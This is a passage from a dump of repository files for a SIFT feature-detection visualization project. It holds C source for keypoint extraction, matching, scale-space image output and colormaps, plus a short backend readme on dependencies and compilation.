int l)\n{\n float a, b;\n float min = array_min(in, l);\n float max = array_max(in, l);\n\n // skip the normalization if max = min\n if( max > min + 0.00001){\n a = (1.0 - 0.0) / (max - min);\n b = -a * min;\n for (int i = 0; i < l; i++)\n out[i] = a * in[i] + b;\n }\n else{\n for (int i = 0; i < l; i++)\n out[i] = in[i];\n }\n}\n\n// Compute the x modulus y\nfloat modulus(float x, float y)\n{\n float z = x;\n int n;\n if(z < 0){\n n = (int)((-z)/y)+1;\n z += n*y;\n }\n n = (int)(z/y);\n z -= n*y;\n return z;\n}\n\n// Multiply the rotation matric R_alpha with [x,y]^T\nvoid apply_rotation(float x, float y, float *rx, float *ry, float alpha)\n{\n float c = cos(alpha);\n float s = sin(alpha);\n float tx = c * x - s * y;\n float ty = s * x + c * y;\n *rx = tx;\n *ry = ty;\n}\n" }, { "alpha_fraction": 0.543913722038269, "alphanum_fraction": 0.5608628392219543, "avg_line_length": 18.66666603088379, "blob_id": "fdaf07c36ee0d8db8ea011efe01544026ac73c09", "content_id": "78e3898cbe412778d403d3a7550425bf54435d24", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 649, "license_type": "permissive", "max_line_length": 66, "num_lines": 33, "path": "/backend/demo_SIFT/src/sift_cli_default.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include <stdio.h>\n#include \"lib_sift.h\"\n#include \"io_png.h\"\n\n\nint main(int argc, char **argv)\n{\n if(argc != 2){\n fprintf(stderr, \"usage:\\n./sift_basic image.png\\n\");\n return -1;\n }\n\n\t// Loading image\n\tsize_t w, h;\n float* x = io_png_read_f32_gray(argv[1], &w, &h);\n if(!x)\n fatal_error(\"File \\\"%s\\\" not found.\", argv[1]);\n for(int i=0; i < w*h; i++)\n x[i] /=256.;\n\n\t// compute sift keypoints\n\tint n;\n\tstruct sift_keypoint_std *k = sift_compute_features(x, w, h, &n);\n\n\t// write to standard output\n\tsift_write_to_file(\"/dev/stdout\", k, n);\n\n\t// cleanup\n\tfree(k);\n\tfree(x);\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5198462009429932, "alphanum_fraction": 0.539196252822876, "avg_line_length": 31.37751007080078, "blob_id": "cb8b0579fc6781035f77b1cb9a23433d6650244f", "content_id": "35088e1fd12f8c1b7c8a1475e54c64b752f1c2fe", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8062, "license_type": "permissive", "max_line_length": 101, "num_lines": 249, "path": "/backend/demo_SIFT/src/match_cli.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented\n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file matching.c\n * @brief [[MAIN]] Matching of keypoints\n *\n * @li Method 1 : threshold on the ratio of distances to the two nearest keypoints\n * @li Method 2 : threshold on the distance to the nearest keypoint\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"lib_keypoint.h\"\n#include \"lib_matching.h\"\n#include \"lib_util.h\"\n\n\nvoid print_usage()\n{\n fprintf(stderr, \"Anatomy of the SIFT method (www.ipol.im/pub/pre/82/) ver 20140911 \\n\");\n fprintf(stderr, \"Usage: match_cli keys1 keys2 [options...] \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -ori_nbins (36) number of bins in the orientation histogram \\n\");\n fprintf(stderr, \" (used only for keypoints input/output) \\n\");\n fprintf(stderr, \" -descr_nhist (4) number of histograms per dimension \\n\");\n fprintf(stderr, \" -descr_nori (8) number of bins in each histogram \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -absolute thresh (250) threshold applied on the euclidean distance \\n\");\n fprintf(stderr, \" -relative thresh (0.6) threshold applied on the ratio of distance \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -verb label flag for output \\n\");\n}\n\n\n/**\n *\n * Output \n * -1 : malformed argument\n * 0 : option not found \n * 1 : option found\n */\nstatic int pick_option(int* c, char*** v, char* opt, char* val)\n{\n int output = 0;\n int argc = *c;\n char **argv = *v;\n // scan the command line for '-opt'\n for(int i = 0; i < argc; i++){\n if (argv[i][0] == '-' && 0 == strcmp(argv[i]+1, opt))\n {\n // check for a corresponding value\n if (i == argc-1){\n output = -1;\n }\n else{\n if (argv[i+1][0] == '-'){\n output = -1;\n }\n // if the option call is well formed\n else{\n // copy the option value ...\n strcpy(val, argv[i+1]);\n // ... and remove from the command line\n for (int j = i; j < argc - 2; j++){\n (*v)[j] = (*v)[j+2];\n }\n *c -= 2;\n output = 1;\n }\n }\n // print an error if not succes\n if(output == -1){\n fprintf(stderr, \"Fatal error: option %s requires an argument.\\n\", opt);\n }\n }\n }\n return output;\n}\n\nstatic int parse_options(int argc, char** argv,\n int *n_bins,\n int *n_hist,\n int *n_ori,\n int *meth_flag,\n float *thresh,\n int *verb_flag,\n char* label)\n{\n int isfound;\n char val[128];\n\n isfound = pick_option(&argc, &argv, \"ori_nbins\", val);\n if (isfound == 1) *n_bins = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"descr_nhist\", val);\n if (isfound == 1) *n_hist = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"descr_nori\", val);\n if (isfound == 1) *n_ori = atoi(val);\n if (isfound == -1) return EXIT_FAILURE;\n\n\n isfound = pick_option(&argc, &argv, \"absolute\", val);\n if (isfound == 1){\n *meth_flag = 0;\n *thresh = atof(val);\n }\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"relative\", val);\n if (isfound == 1){\n *meth_flag = 1;\n *thresh = atof(val);\n }\n if (isfound == -1) return EXIT_FAILURE;\n\n isfound = pick_option(&argc, &argv, \"verb\", val);\n if (isfound == 1){\n *verb_flag = 1;\n strcpy(label, val);\n }\n if (isfound == -1) return EXIT_FAILURE;\n\n // check for unknown option call\n for(int i = 0; i < argc; i++){\n if (argv[i][0] == '-'){\n fprintf(stderr, \"Fatal error: option \\\"-%s\\\" is unknown.\\n\", argv[i]+1);\n print_usage();\n return EXIT_FAILURE;\n }\n }\n // check for input image\n if (argc != 3){\n print_usage();\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\n\n\nint main(int argc, char **argv)\n{\n // Setting default parameters\n int n_hist = 4;\n int n_ori = 8;\n int n_bins = 36;\n int meth_flag = 1;\n float thresh = 0.6;\n int verb_flag = 0;\n char label[256];\n strcpy(label, \"extra\");\n\n // Parsing command line\n int res = parse_options(argc, argv, &n_bins, &n_hist, &n_ori,\n &meth_flag, &thresh, &verb_flag, label);\n if (res == EXIT_FAILURE)\n return EXIT_FAILURE;\n\n // Memory allocation\n struct sift_keypoints* k1 = sift_malloc_keypoints();\n struct sift_keypoints* k2 = sift_malloc_keypoints();\n struct sift_keypoints* out_k1 = sift_malloc_keypoints();\n struct sift_keypoints* out_k2A = sift_malloc_keypoints();\n struct sift_keypoints* out_k2B = sift_malloc_keypoints();\n\n // Read input keypoint ASCII files\n int readflag = verb_flag + 1;\n sift_read_keypoints(k1, argv[1], n_hist, n_ori, n_bins, readflag);\n sift_read_keypoints(k2, argv[2], n_hist, n_ori, n_bins, readflag);\n\n // Matching\n matching(k1, k2, out_k1, out_k2A, out_k2B, thresh, meth_flag);\n\n // Print\n print_pairs(out_k1, out_k2A);\n char name[FILENAME_MAX];\n if(verb_flag == 1){\n save_pairs_extra(\"OUTmatches.txt\", out_k1, out_k2A, out_k2B);\n sprintf(name, \"%s_im0.txt\", label);\n sift_save_keypoints(out_k1, name, 1);\n sprintf(name, \"%s_im1.txt\", label);\n sift_save_keypoints(out_k2A, name, 1);\n }\n\n // Free memory\n sift_free_keypoints(k1);\n sift_free_keypoints(k2);\n sift_free_keypoints(out_k1);\n sift_free_keypoints(out_k2A);\n sift_free_keypoints(out_k2B);\n\n return EXIT_SUCCESS;\n}\n" }, { "alpha_fraction": 0.7520759105682373, "alphanum_fraction": 0.7603796124458313, "avg_line_length": 41.150001525878906, "blob_id": "c8ad336c6033c75c49a8f5dee1c8918191e19c7f", "content_id": "81c9e6723975b8de790507e194e53448f2d15aa1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 843, "license_type": "permissive", "max_line_length": 197, "num_lines": 20, "path": "/backend/readme.md", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "# Manage pip dependencies\n\nGenerate a requirements file and then install from it in another environment.\n> pip3 freeze > requirements.txt <br>\n pip3 install -r requirements.txt (but better use current requirements.txt of the repository)\n\nDelete all .pyc files\n> find . -name \\\\\\*.pyc -delete\n\nIf you want to compile sift_cli of the demo_SIFT you can use\n> gcc -std=c99 -o sift_cli sift_cli.c io_png.o lib_sift_anatomy.o lib_util.o lib_sift.o lib_keypoint.o lib_description.o lib_discrete.o lib_matching.o lib_scalespace.o lib_io_scalespace.o -lpng -lm\n\nsift_cli output\n> x, y, sigma, theta, octave, scale\n\nCAUTION!\nThe Octave number of a keypoint file starts at 0!\nThe Scale number of a keypoint file start at 1!\nThat has to be changed in the demo_SIFT c files!\nOtherwise the Octave number needs to increment with 1 when showing on frontend.\n" }, { "alpha_fraction": 0.48523205518722534, "alphanum_fraction": 0.5304641127586365, "avg_line_length": 26.75175666809082, "blob_id": "ca819175d64333860366afdd16110ad3843cb7d3", "content_id": "c468c46f76702b7576c3baee267692833fa602d6", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11851, "license_type": "permissive", "max_line_length": 111, "num_lines": 427, "path": "/backend/demo_SIFT/src/lib_io_scalespace.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented\n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n\n\n\nThis file also implements the colomap published in the paper\n [2] \"Diverging Color Maps for Scientific Visualization.\"\n Kenneth Moreland\n International Symposium on Visual Computing 2009\n\n\n\n\n*/\n/**\n * @file sift_scalespace.c\n * @brief data structures to store the scale-space\n *\n * @li struct keypoint keypoint data structure.\n * @li struct sift_keypoints list of keypoints with variable length.\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <math.h>\n#include <float.h>\n\n#include \"lib_discrete.h\"\n#include \"lib_io_scalespace.h\"\n#include \"lib_util.h\"\n#include \"io_png.h\"\n\n\n\n\n\n\n/**\n *\n * Assumes the values of imageIn are ranging from 0 to 1\n *\n *\n * */\nvoid printImage(const float *imageIn, int w, int h, const char *name)\n{\n\n float *imf32 = (float *) malloc(w * h * sizeof(float));\n for (int i = 0; i < w * h; i++) {\n imf32[i] = 255*(float) imageIn[i];\n }\n io_png_write_f32(name, imf32, w, h, 1);\n xfree(imf32);\n}\n\n\nvoid printImage_LinearConversion(const float *imageIn, int w, int h, const char *name)\n{\n float *imTemp = xmalloc(w*h*sizeof(float));\n linear_conversion(imageIn, imTemp, w * h); // imTemp values are in [0,1]\n printImage(imTemp, w, h, name);\n xfree(imTemp);\n}\n\n\nvoid printrgb(const float *rgb, int w, int h, const char *name)\n{\n io_png_write_f32(name, rgb, w, h, 3);\n}\n\n\n\n\n/** @brief Gray to false color (using the HSV colormap)\n *\n * for DoG illustration in new code\n *\n */\nvoid gray2hsv(const float *gray, float *rgb, int w, int h, float vmin, float vmax)\n{\n // The color wheel used as a colormap here is a restriction of the hsv\n // color space to the circle defined by\n float saturation = 1.0;\n float value = 1.0;\n // and hue \\in [0,360].\n\n for (int i = 0; i < 3 * w * h; i++) rgb[i] = 0;\n\n float max = array_max(gray, w*h);\n float min = array_min(gray, w*h);\n\n for (int i = 0; i < w * h; i++) {\n float hue = (gray[i] - min) / (max - min) * 359.0;\n\n int t = (int) (hue / 60.0);\n float red, green, blue;\n /*\n * The color map is defined by a set of 3 piecewise linear\n * functions\n */\n switch (t) {\n case 0:\n red = value;\n green = value * (1.0 - (1.0 - (hue / 60.0 - (float) t)) * saturation);\n blue = value * (1.0 - saturation);\n break;\n case 1:\n red = value * (1.0 - (hue / 60.0 - (float) t) * saturation);\n green = value;\n blue = value * (1.0 - saturation);\n break;\n case 2:\n red = value * (1.0 - saturation);\n green = value;\n blue =\n value * (1.0 - (1.0 - (hue / 60.0 - (float) t)) * saturation);\n break;\n case 3:\n red = value * (1.0 - saturation);\n green = value * (1.0 - (hue / 60.0 - (float) t) * saturation);\n blue = value;\n break;\n case 4:\n red = value * (1.0 - (1.0 - (hue / 60.0 - (float) t)) * saturation);\n green = value * (1.0 - saturation);\n blue = value;\n break;\n case 5:\n red = value;\n green = value * (1.0 - saturation);\n blue = value * (1.0 - (hue / 60.0 - (float) t) * saturation);\n break;\n default:\n red =0;\n green = 0;\n blue = 0;\n break;\n }\n rgb[i] = 250 * red;\n rgb[w * h + i] = 250 * green;\n rgb[2 * w * h + i] = 250 * blue;\n }\n\n}\n\n\n\n\n\n\n\nvoid print_sift_scalespace_gray(const struct sift_scalespace* scalespace, const char* basename)\n{\n char name[FILENAME_MAX];\n int nOct = scalespace->nOct;\n for(int o = 0; o < nOct; o++){\n const struct octa* octave = scalespace->octaves[o];\n int nSca = octave->nSca;\n int w = octave->w;\n int h = octave->h;\n for(int s = 0; s < nSca; s++){\n const float* image = &octave->imStack[s*w*h];\n sprintf(name,\"%s_o%03i_s%03i.png\",basename,o,s);\n printImage(image, w,h, name);\n }\n }\n}\n\n\nvoid nearestneighbor_interp(const float* in,int win, int hin, float* out, int wout,int hout)\n{\n if ((hin != hout) || (win != wout)){\n float fh = (float)hin/(float)hout;\n float fw = (float)win/(float)wout;\n for(int i = 0; i < hout; i++){\n int k = floor( fh * (float)i );\n assert(k>-1); assert(k < hin);\n for(int j = 0; j < wout; j++){\n int l = floor( fw * (float)j );\n assert(l > -1); assert(l < win);\n out[i*wout+j] = in[k*win+l];\n }\n }\n }else{\n for(int i = 0; i < wout*hout; i++){\n out[i] = in[i];\n }\n }\n}\n\n\n\n\n\n\nvoid Msh2Lab(float M, float s, float h, float* L, float* a, float* b)\n{\n *L = M*cos(s);\n *a = M*sin(s)*cos(h);\n *b = M*sin(s)*sin(h);\n}\n\n\nvoid Lab2xyz(float L, float a, float b, float* x, float* y, float* z)\n{\n float vY = (L + 16.0)/116.0;\n float vX = a/500.0 + vY;\n float vZ = vY - b/200.0;\n\n if (vY*vY*vY > 0.008856){\n vY = vY*vY*vY;\n }else{\n vY = (vY - 16.0/116.0) / 7.787;\n }\n if (vX*vX*vX > 0.008856){\n vX = vX*vX*vX;\n }\n else{\n vX = (vX - 16.0/116.0) / 7.787;\n }\n if (vZ*vZ*vZ > 0.008856){\n vZ = vZ*vZ*vZ;\n }else{\n vZ = (vZ - 16.0/116.0) / 7.787;\n }\n\n *x = 95.047*vX; //ref_X = 95.047 Observer= 2 degrees, Illuminant= D65\n *y = 100.000*vY; //ref_Y = 100.000\n *z = 108.883*vZ; //ref_Z = 108.883\n}\n\n\n\nvoid xyz2rgb(float x, float y, float z, float *r, float* g, float* b)\n{\n float var_x = x/100; //x from 0 to 95.047 (observer = 2°, illuminant = d65)\n float var_y = y/100; //y from 0 to 100.000\n float var_z = z/100; //z from 0 to 108.883\n\n float var_r = var_x * 3.2406 + var_y * -1.5372 + var_z * -0.4986;\n float var_g = var_x * -0.9689 + var_y * 1.8758 + var_z * 0.0415;\n float var_b = var_x * 0.0557 + var_y * -0.2040 + var_z * 1.0570;\n\n if ( var_r > 0.0031308 ){\n var_r = 1.055 * ( pow(var_r, ( 1.0 / 2.4 )) ) - 0.055;\n }else{\n var_r = 12.92 * var_r;\n }\n if ( var_g > 0.0031308 ){\n var_g = 1.055 * ( pow(var_g, ( 1.0 / 2.4 )) ) - 0.055;\n }else{\n var_g = 12.92 * var_g;\n }\n if ( var_b > 0.0031308 ){\n var_b = 1.055 * ( pow(var_b, ( 1.0 / 2.4 )) ) - 0.055;\n }else{\n var_b = 12.92 * var_b;\n }\n *r = var_r*255;\n *g = var_g*255;\n *b = var_b*255;\n}\n\n\n/** @brief gray 2 Msh\n *\n * @param in : array of w*h float\n * @param out : array of w*h color points in Msh color space (polar Lab)\n * ... of 3*w*h float\n *\n *\n */\nvoid gray2Msh2rgb(const float* in, float* out, int w, int h)\n{\n float M, s, hue, L, a, b, x, y, z ;\n float max = array_max(in, w*h);\n float min = array_min(in, w*h);\n float mid = (max + min)/2.0;\n\n for(int i = 0; i < w*h; i++){\n if ( in[i] < mid ){\n float a = (in[i] - min) / (mid - min);\n M = 80.0 + (88.0 - 80.0)*a;\n s = 1.08 - 1.08*a;\n hue = 0.50 + (1.061 - 0.5)*a;\n }else{\n float a = (in[i] - mid) / (max - mid);\n M = 88.0 + (80.0 - 88.0)*a;\n s = 1.08*a;\n hue = 1.061 + (-1.1 - 1.061)*a;\n }\n Msh2Lab(M, s, hue, &L, &a, &b);\n Lab2xyz(L, a, b, &x, &y, &z);\n xyz2rgb(x, y, z, &out[i], &out[w*h+i], &out[2*w*h+i]);\n }\n}\n\n\nvoid print_sift_scalespace_rgb(const struct sift_scalespace* scalespace, const char* basename)\n{\n char name[FILENAME_MAX];\n int wALL = scalespace->octaves[0]->w;\n int hALL = scalespace->octaves[0]->h;\n float* imtemp = xmalloc(wALL*hALL*sizeof(float));\n float* imrgb = xmalloc(3*wALL*hALL*sizeof(float));\n\n int nOct = scalespace->nOct;\n for(int o = 0; o < nOct; o++){\n const struct octa* octave = scalespace->octaves[o];\n int nSca = octave->nSca;\n int w = octave->w;\n int h = octave->h;\n // 's = 1; s < nSca - 1' changed\n for(int s = 0; s < nSca; s++){\n const float* image = &octave->imStack[s*w*h];\n nearestneighbor_interp(image,w,h,imtemp,wALL,hALL);\n gray2Msh2rgb(imtemp, imrgb, wALL, hALL);\n sprintf(name,\"%s_o%03i_s%03i.png\",basename,o,s);\n printrgb(imrgb, wALL,hALL, name);\n }\n }\n xfree(imrgb);\n xfree(imtemp);\n}\n\n\nvoid print_sift_scalespace_gray_nearestneighbor(const struct sift_scalespace* scalespace, const char* basename)\n{\n char name[FILENAME_MAX];\n int wALL = scalespace->octaves[0]->w;\n int hALL = scalespace->octaves[0]->h;\n float* imtemp = xmalloc(wALL*hALL*sizeof(float));\n\n int nOct = scalespace->nOct;\n for(int o = 0; o < nOct; o++){\n const struct octa* octave = scalespace->octaves[o];\n int nSca = octave->nSca;\n int w = octave->w;\n int h = octave->h;\n // 's=0;s<nSca-1' changed\n for(int s=0;s<nSca;s++){\n const float* image = &octave->imStack[s*w*h];\n nearestneighbor_interp(image,w,h,\n imtemp,wALL,hALL);\n sprintf(name,\"%s_o%03i_s%03i.png\",basename,o,s);\n printImage(imtemp, wALL,hALL, name);\n }\n }\n xfree(imtemp);\n}\n\n\nvoid print_sift_scalespace_rgb_nointerp(const struct sift_scalespace* scalespace, const char* basename)\n{\n char name[FILENAME_MAX];\n int nOct = scalespace->nOct;\n for(int o = 0; o < nOct; o++){\n struct octa* octave = scalespace->octaves[o];\n int nSca = octave->nSca;\n int w = octave->w;\n int h = octave->h;\n\n for(int s = 1; s < nSca - 1; s++){\n const float* image = &octave->imStack[s*w*h];\n float* imrgb = xmalloc(3*w*h*sizeof(float));\n for(int i = 0; i < 3*w*h; i++){\n imrgb[i] = 0.0;\n }\n gray2Msh2rgb(image, imrgb, w, h);\n sprintf(name,\"%s_o%03i_s%03i.png\",basename,o,s);\n printrgb(imrgb, w,h, name);\n xfree(imrgb);\n }\n }\n}\n" }, { "alpha_fraction": 0.6163345575332642, "alphanum_fraction": 0.631209671497345, "avg_line_length": 35.35714340209961, "blob_id": "f47c90da7f6b0f991be8d2da80fd09487f3426f0", "content_id": "9120171a1c0cb14dd617812aca7455ecb947fbac", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3563, "license_type": "permissive", "max_line_length": 142, "num_lines": 98, "path": "/backend/demo_SIFT/src/lib_scalespace.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan \n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n\n\n\n#ifndef _LIB_SCALESPACE_H_\n#define _LIB_SCALESPACE_H_\n\n\n\n/** *********************** STRUCTURES *************************/\n\nstruct octa{\n float delta; /* sampling rate in this octave */\n int w; /* the same for all images in the stack */\n int h;\n int nSca; /* number of images in the stack */\n float* sigmas; /* intrinsic levels of blur */\n float* imStack; /* stack of nSca images of w*h samples (indexed from fine to coarse)*/\n};\n\nstruct sift_scalespace{\n int nOct; /* number of octaves */\n struct octa* octaves[100]; /* array of pointer to octave structure */\n};\n\n\n/** ************************ ALLOCATION **************************/\n\nstruct sift_scalespace* sift_malloc_scalespace(int nOct, const float* deltas, const int* ws, const int* hs, const int* nScas, float** sigmas);\nvoid sift_free_scalespace(struct sift_scalespace *sift_scalespace); /*frees memory for scalespace structure */\n\n\n/** ********************* ALLOCATION WRAPPERS *********************************/\n\nstruct sift_scalespace* sift_malloc_scalespace_from_model(struct sift_scalespace * model_sift_scalespace);\nstruct sift_scalespace* sift_malloc_scalespace_dog_from_scalespace(struct sift_scalespace* scalespace);\n\n\n/** @brief Lowe's original structure.\n */\nstruct sift_scalespace* sift_malloc_scalespace_lowe(int nOct, /* # of octaves */\n int nSca, /* # of scales of detection (excluding the 3 auxiliary scales) */\n int im_w, int im_h, /* # input image dimension */\n float delta_min, /* minimal inter-sample distance */\n float sigma_min); /* minimal scale in each octave (relatively to the sampling rate) */\n\n\n#endif\n" }, { "alpha_fraction": 0.6597682237625122, "alphanum_fraction": 0.6707367300987244, "avg_line_length": 31.42953109741211, "blob_id": "d575c0f85435a5da5b1e59e4ba43eb959e706949", "content_id": "1c073f2476dabd20a98cea3ae57f9a89e67bdf0a", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4832, "license_type": "permissive", "max_line_length": 116, "num_lines": 149, "path": "/backend/demo_SIFT/src/lib_keypoint.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file lib_keypoint.h\n * @brief data structures to store information relative to keypoint\n *\n * @li struct keypoint keypoint data structure.\n * @li struct sift_keypoints list of keypoints with variable length.\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n\n#ifndef _LIB_KEYPOINT_H_\n#define _LIB_KEYPOINT_H_\n\n\n/** @brief keypoint structure, related to a keypoint\n *\n * stores SIFT output (keypoint position, scale, orientation, feature vector...)\n * stores intermediary results (orientation histogram, summarizes...)\n *\n *\n */\nstruct keypoint\n{\n float x; // coordinates\n float y;\n float sigma; // level of blur (it includes the assumed image blur)\n float theta; // orientation\n\n int o; // discrete coordinates\n int s;\n int i;\n int j;\n\n float val; // normalized operator value (independant of the scalespace sampling)\n float edgeResp; // edge response\n int n_hist; // number of histograms in each direction\n int n_ori; // number of bins per histogram\n float* descr;\n\n int n_bins; // number of bins in the orientation histogram\n float* orihist; // gradient orientation histogram\n};\n\nstruct keypoint* sift_malloc_keypoint(int n_ori, int n_hist, int n_bins);\n\nstruct keypoint* sift_malloc_keypoint_from_model_and_copy(const struct keypoint* key);\n\n\n/** @brief list of pointers to keypoint structures (variable size list)\n * \"vector\" of keypoint struct (list of variable size)\n */\nstruct sift_keypoints{\n int size; /* number of elements in the list */\n int capacity; /* current max number os elements in th list (size<=capacity)*/\n struct keypoint ** list; /* array of pointers to keypoint structure */\n};\n\n/** @brief allocate list of keypoints */\nstruct sift_keypoints* sift_malloc_keypoints();\n\n/** @brief add element in list of keypoints */\nvoid sift_add_keypoint_to_list(struct keypoint* key, struct sift_keypoints* keys);\n\nstruct keypoint* sift_add_keypoint_to_listPASC(struct sift_keypoints* keypoints, int n_ori, int n_hist, int n_bins);\n\n/** @brief free list of keypoints */\nvoid sift_free_keypoints(struct sift_keypoints *keys);\n\n \n/** @brief Save list of keys on a txt filea (3 formats) \n * flag values\n * flag >= 0 -> prints coordinates (x,y,sigma,theta)\n * flag >= 1 -> prints descriptor\n * flag >= 2 -> prints scalespace sample coordinates\n * + orientation histogram.\n */ \nvoid sift_save_keypoints(const struct sift_keypoints* keys, const char* name, int flag);\n\n/** @brief Save list of keys on the standard output\n */\nvoid sift_print_keypoints(const struct sift_keypoints* keys, int 